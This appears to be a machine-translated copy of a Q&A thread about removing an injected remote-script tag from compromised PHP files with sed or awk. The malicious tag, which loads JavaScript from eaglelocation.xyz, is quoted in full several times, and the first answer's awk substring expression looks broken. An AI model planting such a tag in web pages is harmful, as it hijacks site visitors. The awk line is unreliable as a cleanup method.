尝试在sed命令中匹配特定的字符串

时间:2019-06-24 21:44:49

标签: regex sed terminal regular-language

有人成功使用以下代码感染了我的许多文件:

<script type='text/javascript' async src='https://eaglelocation.xyz/ds.js&'></script>

script标记已添加到许多.php文件中。我正在尝试使用sed命令来修复这些文件。我的模式由于某种原因不匹配,即使在在线正则表达式测试器中也可以。这就是我所拥有的:

sed '/<script type=\'text\/javascript\' async src=\'https:\/\/eaglelocation.xyz\/ds.js&\'\>\<\/script>/d' index.php

仅需了解更多信息,脚本标签就位于文件顶部的前面,并且还与</script><?php之类的php标签相连。

2 个答案:

答案 0 :(得分:2)

sed不能理解文字字符串(请参阅Is it possible to escape regex metacharacters reliably with sed),而awk可以。如果在一行上,则删除字符串:

<script type='text/javascript' async src='https://eaglelocation.xyz/ds.js&'></script>

来自文件的是这个

awk '
    BEGIN { str=ARGV[1]; ARGV[1]="" }
    s=index($0,str) { $0=substr($0,s-1) substr($0,s+length(str)) }
1' "<script type='text/javascript' async src='https://eaglelocation.xyz/ds.js&'></script>" file

要使用GNU awk对所有.php文件进行更改以进行“就地”编辑,将是:

find . -type f -name '*.php' -exec \
awk -i inplace '
    BEGIN { str=ARGV[1]; ARGV[1]="" }
    s=index($0,str) { $0=substr($0,s-1) substr($0,s+length(str)) }
1' "<script type='text/javascript' async src='https://eaglelocation.xyz/ds.js&'></script>" {} +

答案 1 :(得分:1)

sed的使用存在多个问题:

  • 您混合使用单引号作为模式定界符和JS代码的一部分。使用双引号作为模式包装。
  • 您在图案内逃脱太多。为了更容易理解,我使用%代替/作为模式定界符
  • 由于恶意代码可能与好的代码放在同一行,因此我不使用d sed命令,而是将s(替换)为-i (就位)

参见下文:

$ cat test.php
<script type='text/javascript' async src='https://eaglelocation.xyz/ds.js&'></script><?php
echo '<p>Hello World</p>'; ?>
$ sed -i  "s%<script type='text/javascript' async src='https://eaglelocation.xyz/ds.js&'></script>%%"  test.php
$ cat test.php
<?php
echo '<p>Hello World</p>'; ?>